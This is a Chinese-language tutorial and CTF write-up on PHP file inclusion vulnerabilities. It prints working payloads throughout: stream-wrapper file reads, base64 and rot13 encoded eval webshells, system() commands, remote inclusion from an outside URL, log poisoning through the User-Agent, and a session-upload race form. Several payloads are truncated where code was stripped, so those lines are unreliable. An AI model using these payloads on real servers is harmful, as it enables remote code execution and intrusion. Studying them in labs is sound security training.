什么是文件包含
1、原理
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,
直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。
在包含文件的过程中,如果文件能进行控制(如进行替换和修改),则存储文件包含漏洞
白盒发现:
在php代码中如果存在
PHP:include、require、include_once、require_once等
include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行
require函数出现错误的时候,会直接报错并退出程序的执行
Java:java.io.File、java.io.FileReader等
ASP.NET:System.IO.FileStream、System.IO.StreamReader等
黑盒分析:
-黑盒发现:主要观察参数传递的数据和文件名是否对应
URL中有path、dir、file、pag、page、archive、p、eng、语言文件等相关字眼
漏洞成因
1.使用的文件包含函数
2.包含的函数可控
分类:本地包含,远程包含
差异:代码过滤,配置开关
不能包含原因:随着php版本升级默认设置是关闭的
如何利用,一般实战碰不到
执行成功
危害:
代码执行;上传后门文件pass,使用哥斯拉进行连接
本地包含:没有上传的话 文件固定的 包含带有攻击的代码
有文件利用:上传一个文件 文件写有我们恶意代码(配合上传)
无文件利用:
1.包含日志文件利用
2.包含session文件利用
3.伪协议玩法及应用
远程包含:
直接搭建一个远程URL包含文件
伪协议应用
-文件读取: ?file=
file:///etc/passwd
php://filter/read=convert.base64-encode/resource=phpinfo.php(相对路径)
-文件写入:
php://filter/write=convert.base64-encode/resource=phpinfo.php
php://input POST:'); ?>
-代码执行:
php://input POST:
data://text/plain,
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b(进行base64编码)
靶场演示
数据库信息成功出来
文件包含主要是拿到目录下的源码对其进行分析有无敏感信息或者分析漏洞获取服务器权限
ctfshow靶场实战请看下一篇文章
黑盒利用-VULWEB-有无包含文件
http://testphp.vulnweb.com/showimage.php?file=index.php
白盒利用-CTFSHOW-伪协议玩法
https://ctf.show/challenges
78-php&http协议
payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
payload:?file=php://input post:
payload:?file=http://www.xiaodi8.com/1.txt 1.txt:
79-data&http协议
payload:?file=data://text/plain,
payload:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
payload:?file=http://www.xiaodi8.com/1.txt 1.txt:
8081-日志包含(一般保存在默认路径下)
1、利用其他协议,如file,zlib等
2、利用日志记录UA特性包含执行
分析需文件名及带有php关键字放弃
故利用日志记录UA信息,UA带入后门代码
包含:/var/log/nginx/access.log(自己查询网站中间件配置默认路径)
82-86-SESSION包含
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
自定义session名字,条件竞争访问session文件,触发创建新文件
<!DOCTYPE html>
<html>
<body>
<form action="http://xxxx.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="'?>"/>
<input type="file" name="file"/>
<input type="submit" value="submit"/>
</form>
</body>
</html>
https://www.cnblogs.com/lnterpreter/p/14086164.html
https://www.cnblogs.com/echoDetected/p/13976405.html
87-php://filter/write&加密编码
1、利用base64:
url编码2次:php://filter/write=convert.base64-decode/resource=123.php
content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==
2、利用凯撒13:
url编码2次:php://filter/write=string.rot13/resource=2.php
content=cuc riny($_CBFG[1]);?>
88-data&base64协议
过滤PHP,各种符号,php代码编码写出无符号base64值
Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk
117-php://filter/write&新的算法
convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用
<?php
$result=iconv("UCS-2LE","UCS-2BE",'');
echo"经过一次反转:".$result."\n";
echo"经过第二次反转:".iconv("UCS-2LE","UCS-2BE",$result);
?>
Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]a😉>?